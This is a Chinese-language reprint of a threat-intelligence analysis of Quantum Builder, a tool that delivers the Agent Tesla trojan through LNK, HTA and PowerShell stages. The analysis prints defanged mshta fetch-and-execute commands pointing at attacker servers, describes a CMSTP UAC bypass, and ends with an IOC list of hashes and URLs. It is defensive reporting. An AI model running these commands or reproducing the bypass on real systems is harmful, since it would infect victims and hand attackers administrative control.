当前位置: 首页 > news >正文

Quantum 构建工具使用新的 TTP 投递 Agent Tesla

Zscaler 的研究人员发现暗网上正在出售名为 Quantum Builder 的构建工具,该工具可以投递 .NET 远控木马 Agent
Tesla。与过去的攻击行动相比,本次攻击转向使用 LNK 文件。

Quantum Builder 能够创建恶意文件,如 LNK、HTA 与 PowerShell,最后投递 Agent Tesla。攻击者使用复杂的技术来生成
Payload:

使用 CMSTP 绕过用户账户控制,以便以管理权限执行最终 Payload 并关闭 Windows Defender

利用集成了无文件攻击等多种攻击向量的多阶段感染链

在内存中执行 PowerShell 脚本以进行逃避检测

打开诱饵分散受害者的注意力

后文对感染链进行了深入分析,并对 Quantum Builder 生成的 Payload 进行了比较。

感染链

感染链始于鱼叉邮件,其中包含一个携带 GZIP 文档的 LNK 文件。执行 LNK 文件后,嵌入的 PowerShell 代码会生成 MSHTA
来执行远程服务器上的 HTA 文件。

image.png-133.1kB感染链

HTA 文件解密 PowerShell 脚本,在执行 AES 解密和 GZIP 解压缩后解密并加载另一个 PowerShell 脚本。解密后的
PowerShell 脚本是一个 Downloader,通过远程服务器下载 Agent Tesla,再使用 CMSTP 绕过 UAC 以管理权限执行。

技术分析

鱼叉邮件的主题为订单确认,如下所示:

image.png-284.5kB鱼叉邮件

邮件带有一个 GZIP 文件作为附件,与带有 PDF 图标的恶意 LNK 文件捆绑在一起。执行后 LNK 文件会运行混淆的 PowerShell 代码,经过
base64 解编码与异或解密得到执行命令 IEX mshta https[:]//filebin.net/njqyvfot61w0tu9a/ordr[.]hta

image.png-181.9kB执行混淆代码

image.png-95.2kB通过
MSHTA 执行远程服务器上的 HTA 文件

HTA 文件包含多个千余行的垃圾 VBS 函数,其中只有一个与恶意行为有关。

image.png-87.5kBHTA
主要函数

解密出来的 PowerShell 脚本如下所示:

image.png-229.6kB解密
PowerShell 代码

解密完成后,恶意函数就会通过 CreateObject() 创建一个 Wscript.Shell 对象,然后通过 Run 方法执行解密后的
PowerShell 脚本。

image.png-249.5kBPowerShell
代码执行

解密的代码以隐藏窗口的形式执行,解密后会获取另一个 PowerShell 代码。

image.png-377.6kB执行新的
PowerShell 代码

IEX 函数执行 AES 解密与 GZIP 解压是关键的 PowerShell 代码:

从远程服务器下载 Agent Tesla 的 Payload

执行 CMSTP 绕过 UAC

通过操作文件属性隐藏 Agent Tesla

Agent Tesla 被硬编码命名为 MuUQDuaFNoGmHQE.exe,并且被最终执行:

image.png-118.9kB解密
PowerShell 代码

解密可获取 Agent Tesla 的部署地址:

image.png-70.9kBURL
解密

image.png-126.3kB下载
Agent Tesla

通过 WriteAllBytes() 函数写入磁盘,路径为
C:\Users\<username>\AppData\Roaming\MuUQDuaFNoGmHQE.exe

image.png-48.2kB写入指定位置

Agent Tesla 二进制文件的路径作为参数传递给 PowerShell 脚本中的 CMSTP UAC Bypass
函数。该函数最初解码一个特别大的、base64 编码的数据块,如下所示:

image.png-692.3kBCMSTP
UAC Bypass

解码后的代码是基于 PowerShell 的 CMSTP UAC Bypass PoC,在
[GitHub](https://github.com/tylerapplebaum/CMSTP-
UACBypass/blob/master/UACBypassCMSTP.ps1)上也能够找到。基于 PowerShell 的 CMSTP UAC 绕过
PoC 脚本在执行时会在 Temp 目录中写入恶意 INF 文件,其中 PowerShell 脚本中的 $CommandToExecute变量是
Agent Tesla 二进制文件的路径。

image.png-265.3kB恶意
INF 文件

将 INF 文件写入临时目录后,PowerShell 代码会生成一个新进程 cmstp.exe,并以 /au $InfFileLocation作为参数,然后安装恶意 INF 文件,如下所示:

image.png-31.8kB恶意
INF 文件作为参数执行 CMSTP

在 cmstp.exe 安装 INF 文件时,RunPreSetupCommandsSection 参数中的命令将以管理权限执行。该脚本将 [ENTER]
按键发送到活动的窗口应用程序,以便使用 SendKeys.SendWait() 函数自动执行。

image.png-14.4kB触发
UAC 绕过

当以恶意 INF 作为参数生成 cmstp.exe 时,就会以管理权限执行恶意软件,如下所示:

image.png-89.9kBUAC
绕过并以管理权限执行

Agent Tesla 的 C&C 服务器被配置为:

image.png-10kB配置信息

C&C 通信如下所示:

image.png-174.6kBC&C
通信

PowerShell 代码还通过操作隐藏文件属性来隐藏 Agent Tesla 二进制文件,如下所示:

image.png-74.1kB隐藏文件

攻击变化

感染链的另一个变种,LNK 文件被捆绑在 ZIP 压缩包中。通过命令 Iex mShta http://179[.]43[.]175[.]187/puao/PAYMENT.hta来执行远程 HTA
文件。通过将整数转换为字符然后替换空格并进一步利用 MSHTA 从远程 URL 执行 HTA 文件,如下所示。

image.png-507kB通过
LNK 执行 HTA 文件

MSHTA 执行的 HTA 文件与之前感染链中使用的文件相同,加密数组转换为字符以形成可通过 Run 方法执行的 PowerShell 代码。

image.png-255.8kBHTA
文件解密 PowerShell 代码

除了 Run() 方法之外,在某些情况下,HTA 文件利用 ShellExecute() 方法执行 PowerShell 代码,如下所示:

image.png-366.1kB通过
ShellExecute() 执行代码

下载落地后,使用 Start-Process() 从 AppData 路径执行 Agent Tesla。如果 Payload 的扩展名为
.dll,则它使用 rundll32.exe 将 DLL 加载到虚拟内存中。

image.png-447.7kB通过解密的
PowerShell 代码下载并执行 Agent Tesla

在某些情况下,还会有在内存中解密的 PowerShell 代码。代码使用 Invoke-Item
函数下载并执行了一个诱饵文件,以此来分散受害者的注意力,如下所示:

image.png-228.5kB诱饵执行

C&C 服务器的配置为:

image.png-10.3kB配置信息

C&C 通信如下所示:

image.png-235kBC&C
通信

Quantum

这些恶意文件都是由名为 Quantum Builder 的构建工具创建的,如下所示:

image.png-257.1kBQuantum
Builder

HTA 生成工具

HTA 生成工具如下所示:

image.png-165.5kBHTA
生成工具

用户输入传递给 HTA Builder 函数以构造 HTA 文件,如下所示:

image.png-439.4kBHTA
生成工具

将此代码与之前分析的 HTA 代码比较,可以确定 Payload 是由 Quantum Builder 生成的。

image.png-121.9kB在野
HTA 文件

LNK 生成工具

LNK 生成工具如下所示:

image.png-118.9kBLNK
生成工具

快捷方式的构造参数有 Description、IconLocation、Target Path、Arguments 和 WindowStyle,如下所示:

image.png-365.1kBLNK
生成工具

将此代码与之前分析的 LNK 代码比较,可以确定 Payload 是由 Quantum Builder 生成的。

image.png-72.7kB在野
LNK 文件

LNK 构建工具还可以生成 ISO 文件的 Payload,如下所示:

image.png-72.9kBISO
生成工具

Quantum Builder 已被攻击者多次利用,部署了多个恶意软件家族:

RedLine Stealer

IcedID

GuLoader

RemcosRAT and AsyncRAT

结论

攻击者会不断更新技术手段,利用各种恶意软件进行攻击。本次使用的 Agent Tesla 是最新的,Quantum Builder
已经被应用在各种攻击活动中投递各种恶意样本。

IOC

3edfa0cf3b7d54c24013e4f0019dba20
bb914889d5edc6b56c666d2e44e1a437
1adc0bd494cd42578ac8c8e726d5ad92
31c341ad31224cc7d38a5c4e80ccb727
f931773a226809669cad91410a57267f
d9433faddcaca526b26f713e27e2505f
213ada506251c477480bd14ea5507bf3
0ebb9d422f8e86458d8fa7f66fe1d0f1
563fda5da81a5e7818d771222e81f6c4
filebin[.]net/njqyvfot61w0tu9a/ordr[.]hta
filebin[.]net/yiob7vjw7pqow03r/RFQ_270622[.]hta
179[.]43[.]175[.]187/puao/PAYMENT[.]hta
179[.]43[.]175[.]187/puao/PO-M6888722[.]hta
filebin[.]net/e730ez2etlh3weer/MuUQDuaFNoGmHQE[.]exe
179[.]43[.]175[.]187/puao/PAYMENTS[.]exe
179[.]43[.]175[.]187/puao/PO-M6888757[.]exe
mail[.]thesharpening.com[.]au
ftp[.]qurvegraphics[.]com

最后

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,有需要的小伙伴,可以【扫下方二维码】免费领取:

相关文章:

Quantum 构建工具使用新的 TTP 投递 Agent Tesla

Zscaler 的研究人员发现暗网上正在出售名为 Quantum Builder 的构建工具&#xff0c;该工具可以投递 .NET 远控木马 Agent Tesla。与过去的攻击行动相比&#xff0c;本次攻击转向使用 LNK 文件。 Quantum Builder 能够创建恶意文件&#xff0c;如 LNK、HTA 与 PowerShell&…...

浏览器中的 JavaScript 执行机制

思维导图 本文为反复学习极客时间-《浏览器的工作原理与实践》-浏览器中的 JavaScript 执行机制章节中的一些思考与记录。 一些重要概念 变量提升 所谓的变量提升&#xff0c;是指在 JavaScript 代码执行过程中&#xff0c;JavaScript 引擎把变量的声明部分和函数的声明部分…...

kafka集群搭建及问题

一、zookeeper集群搭建 1、创建文件夹 cd /home mkdir zookeeper 2、下载 cd zookeeper wget https://downloads.apache.org/zookeeper/zookeeper-3.8.0/apache-zookeeper-3.8.0-bin.tar.gz 解压到当前文件夹 tar -zxvf apache-zookeeper-3.8.0-bin.tar.gz 文件夹重命…...

不要忽视web渗透测试在项目中起到的重要性

在当前数字化环境中&#xff0c;IT的一个里程碑式增长便是公司组织和企业数字化。为了扩大市场范围和方便业务&#xff0c;许多组织都在转向互联网。这导致了一股新的商业浪潮&#xff0c;它创造了网络空间中的商业环境。通过这种方式&#xff0c;公司和客户的官方或机密文件都…...

Early Stopping中基于测试集(而非验证集)上的表现选取模型的讨论

论文中一般都是用在验证集上效果最好的模型去预测测试集&#xff0c;多次预测的结果取平均计算准确率或者mAP值&#xff0c;而不是单纯的取一次验证集最好的结果作为论文的结果。如果你在写论文的过程中&#xff0c;把测试集当做验证集去验证的话&#xff0c;这其实是作假的&am…...

appium ios真机自动化环境搭建运行(送源码)

appium ios真机自动化环境搭建&运行&#xff08;送源码&#xff09; 目录&#xff1a;导读 &#xff08;1&#xff09;安装JDK&#xff0c;并配置环境变量&#xff0c;方法如下&#xff1a; &#xff08;2&#xff09;安装Xcode、Xcode commandline tools和iOS模拟器 &…...

米尔基于ARM嵌入式核心板的电池管理系统(BMS)

BMS全称是Battery Management System&#xff0c;电池管理系统。它是配合监控储能电池状态的设备&#xff0c;主要就是为了智能化管理及维护各个电池单元&#xff0c;防止电池出现过充电和过放电&#xff0c;延长电池的使用寿命&#xff0c;监控电池的状态。 图片摘自网络 电池…...

Java后端项目IDEA配置代码规范检查,使用checkStyle实现

最近的Java后端项目想实现代码的规范检查&#xff0c;调研了一圈&#xff0c;终于找到了简单的方式实现&#xff1a;以下是常见的几种方案&#xff1a; 1、在客户端做 git hook&#xff0c;主要是用 pre-commit 这个钩子。前端项目中常见的 husky 就是基于此实现的。但缺点也很…...

Nginx_4

Nginx负载均衡 负载均衡概述 早期的网站流量和业务功能都比较简单&#xff0c;单台服务器足以满足基本的需求&#xff0c;但是随着互联网的发展&#xff0c;业务流量越来越大并且业务逻辑也跟着越来越复杂&#xff0c;单台服务器的性能及单点故障问题就凸显出来了&#xff0c…...

linux Ubuntu KUbuntu 系统安装相关

系统安装 本来想快到中午的时候调试一下服务器上的http请求接收代码。我的电脑上装的是kali的U盘系统&#xff0c;然后我的U盘居然找不到了(然后之前安装的系统不知道是否是写入软件的原因&#xff0c;没办法解析DNS,我都用的转发的,这让我体验非常差。kali的系统工具很多&…...

个人信息保护认证

个人信息保护认证是证明个人信息处理者在认证范围内开展的个人信息收集、存储、使用、加工、传输、提供、公开、删除以及跨境等处理活动符合认证依据标准要求。适用范围 本规则依据《中华人民共和国认证认可条例》制定&#xff0c;规定了对个人信息处理者开展个人信息收集、存储…...

Negative Prompt in Stable Diffusion

必读链接&#xff1a;https://www.reddit.com/r/StableDiffusion/comments/z7salo/with_the_right_prompt_stable_diffusion_20_can_do/ A lot of people have noticed that Negative Prompt works wonders in 2.0, and works even better in 2.1. Negative hints are the op…...

MLX90316KGO-BDG-100-RE传感器 旋转位置 角度测量

介绍MLX90316是Tria⊗is旋转位置传感器&#xff0c;提供在设备表面旋转的小偶极磁铁(轴端磁铁)的绝对角位置。得益于其表面的集成磁集中器(IMC)&#xff0c;单片设备以非接触式方式感知应用磁通量密度的水平分量。这种独特的传感原理应用于旋转位置传感器&#xff0c;可在机械(…...

Reflections反射包在springboot jar环境下扫描不到class排查过程

需求&#xff1a; 要实现指定pkg&#xff08;如com.qiqitrue.test.pojo&#xff09;扫描包下所有class类信息&#xff1a;使用代码如下 使用的版本&#xff1a;0.10.2&#xff08;截至目前是最新版&#xff09;发现只能在idea编译期间可以获取得到&#xff08;也就是在开发阶段…...

黑马】后台项目171集

将近一个月没有练习了&#xff0c;找到之后果然打不开出了问题【问题】运行代码打开网页后&#xff0c;发现不能正常登录&#xff0c;一开始还以为是密码记错了&#xff0c;后来发现是数据库没有正常启动&#xff0c;phpstudy中的数据库一直是启动状态&#xff0c;关闭不了。【…...

Qt 5 架构和特点

Qt 5 模块构架&#xff1a; 模块&#xff1a;功能&#xff1a;Qt CoreQt 5 的核心类库&#xff0c;每个模块都建立在Core上Qt GUI图形用户界面开发的最基础的类库Qt Widgets提供c用户界面部件&#xff08;是对Qt GUI的拓展&#xff09;Qt SQL对数据库进行操作Qt Multimedia、…...

转换符说明使用方法(在printf函数中)

目录 一些常见的转换说明及打印结果&#xff1a; printf&#xff08;&#xff09;的转换说明修饰符 printf&#xff08;&#xff09;函数打印数据指令时要与代打印数据的类型相匹配才行。 如%d %c %ld......这些符号叫做转换说明。代表着数据转化成显示的形式。 一些常见的…...

针灸-基本任脉督脉

这里写自定义目录标题 丈量 同身丈下针深浅一般入穴的方法成人 幼儿 不同入穴方式现代常用针概念十二经 纳天干**天干**地支表里关系筋络任脉中脘穴:梅花灸巨阙穴廉泉穴督脉长强腰俞命门阳关悬枢脊中筋缩眼诊 癫痫至阳消渴...

信息系统与信息化

1.1 信息系统与信息化 1.1.1 信息的基本概念 信息质量属性(掌握)信息传输模型 1.1.2 信息系统的基本概念1.1.3 信息化的基本概念 信息化的五个层次信息化基本内涵信息化的基本概念&#xff08;了解&#xff09;六要素关系图&#xff08;掌握&#xff09; 1.1.4 信息系统生命周…...

解决axios异步请求问题(异步变为同步)

遇到的问题 在目前一个需求中&#xff0c;我需要等待axios请求完成后&#xff0c;判断请求是否出现异常&#xff0c;然后来判断是否关闭弹窗 修改后大概代码如下&#xff1a; async submitForm() {let flag false//表单验证&#xff0c;默认通过let formValidation truethis…...

深入剖析AI大模型:大模型时代的 Prompt 工程全解析

今天聊的内容&#xff0c;我认为是AI开发里面非常重要的内容。它在AI开发里无处不在&#xff0c;当你对 AI 助手说 "用李白的风格写一首关于人工智能的诗"&#xff0c;或者让翻译模型 "将这段合同翻译成商务日语" 时&#xff0c;输入的这句话就是 Prompt。…...

工业安全零事故的智能守护者:一体化AI智能安防平台

前言&#xff1a; 通过AI视觉技术&#xff0c;为船厂提供全面的安全监控解决方案&#xff0c;涵盖交通违规检测、起重机轨道安全、非法入侵检测、盗窃防范、安全规范执行监控等多个方面&#xff0c;能够实现对应负责人反馈机制&#xff0c;并最终实现数据的统计报表。提升船厂…...

MySQL 隔离级别:脏读、幻读及不可重复读的原理与示例

一、MySQL 隔离级别 MySQL 提供了四种隔离级别,用于控制事务之间的并发访问以及数据的可见性,不同隔离级别对脏读、幻读、不可重复读这几种并发数据问题有着不同的处理方式,具体如下: 隔离级别脏读不可重复读幻读性能特点及锁机制读未提交(READ UNCOMMITTED)允许出现允许…...

高等数学(下)题型笔记(八)空间解析几何与向量代数

目录 0 前言 1 向量的点乘 1.1 基本公式 1.2 例题 2 向量的叉乘 2.1 基础知识 2.2 例题 3 空间平面方程 3.1 基础知识 3.2 例题 4 空间直线方程 4.1 基础知识 4.2 例题 5 旋转曲面及其方程 5.1 基础知识 5.2 例题 6 空间曲面的法线与切平面 6.1 基础知识 6.2…...

深入解析C++中的extern关键字:跨文件共享变量与函数的终极指南

&#x1f680; C extern 关键字深度解析&#xff1a;跨文件编程的终极指南 &#x1f4c5; 更新时间&#xff1a;2025年6月5日 &#x1f3f7;️ 标签&#xff1a;C | extern关键字 | 多文件编程 | 链接与声明 | 现代C 文章目录 前言&#x1f525;一、extern 是什么&#xff1f;&…...

【C++从零实现Json-Rpc框架】第六弹 —— 服务端模块划分

一、项目背景回顾 前五弹完成了Json-Rpc协议解析、请求处理、客户端调用等基础模块搭建。 本弹重点聚焦于服务端的模块划分与架构设计&#xff0c;提升代码结构的可维护性与扩展性。 二、服务端模块设计目标 高内聚低耦合&#xff1a;各模块职责清晰&#xff0c;便于独立开发…...

3-11单元格区域边界定位(End属性)学习笔记

返回一个Range 对象&#xff0c;只读。该对象代表包含源区域的区域上端下端左端右端的最后一个单元格。等同于按键 End 向上键(End(xlUp))、End向下键(End(xlDown))、End向左键(End(xlToLeft)End向右键(End(xlToRight)) 注意&#xff1a;它移动的位置必须是相连的有内容的单元格…...

华硕a豆14 Air香氛版,美学与科技的馨香融合

在快节奏的现代生活中&#xff0c;我们渴望一个能激发创想、愉悦感官的工作与生活伙伴&#xff0c;它不仅是冰冷的科技工具&#xff0c;更能触动我们内心深处的细腻情感。正是在这样的期许下&#xff0c;华硕a豆14 Air香氛版翩然而至&#xff0c;它以一种前所未有的方式&#x…...

Go 并发编程基础:通道(Channel)的使用

在 Go 中&#xff0c;Channel 是 Goroutine 之间通信的核心机制。它提供了一个线程安全的通信方式&#xff0c;用于在多个 Goroutine 之间传递数据&#xff0c;从而实现高效的并发编程。 本章将介绍 Channel 的基本概念、用法、缓冲、关闭机制以及 select 的使用。 一、Channel…...

【学习笔记】erase 删除顺序迭代器后迭代器失效的解决方案

目录 使用 erase 返回值继续迭代使用索引进行遍历 我们知道类似 vector 的顺序迭代器被删除后&#xff0c;迭代器会失效&#xff0c;因为顺序迭代器在内存中是连续存储的&#xff0c;元素删除后&#xff0c;后续元素会前移。 但一些场景中&#xff0c;我们又需要在执行删除操作…...